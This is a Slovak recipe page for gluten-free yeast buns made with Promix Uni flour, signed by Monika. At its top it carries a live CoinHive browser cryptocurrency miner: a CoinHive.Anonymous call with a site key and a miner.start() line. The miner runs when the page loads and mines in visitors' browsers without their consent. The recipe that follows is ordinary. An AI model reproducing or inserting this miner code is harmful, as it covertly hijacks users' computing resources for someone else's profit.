

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Suroviny: 400g bezlepkovej múky Promix Uni, 1 čerstvé droždie, 1 lyžička soli, 1 lyžička cukru, 2 vajcia, 3 lyžice oleja, 250 ml mlieka (možno nahradiť vodou). V malom množstve teplej vody rozpustíme droždie s cukrom, do misy dáme múku, soľ, jeden a pol vajca, olej, rozpustené droždie a mlieko. Cesto vyšľaháme mixérom, Pripravíme si nádobu s vodou a pomocou dvoch lyžíc tvarujeme buchtičky. Lyžice treba častejšie namáčať do vody. Buchtičky ukladáme na vymastený pekáč, vhodný je aj papier na pečenie. Povrch potrieme vajíčkom a posypeme sezamom, soľou, rascou a podobne a necháme ešte 15 minút nakysnúť na pekáči. Rúru vyhrejeme na najvyššiu teplotu a do spodnej časti rúry položíme nádobu s vodou. Po nakysnutí buchtičky vložíme do rúry, teplota sa nesmie znížiť. Asi po 10 minútach skontrolujeme a môžeme posypať syrom. Pečieme dozlata ďalších 10 minút.

Od Moniky.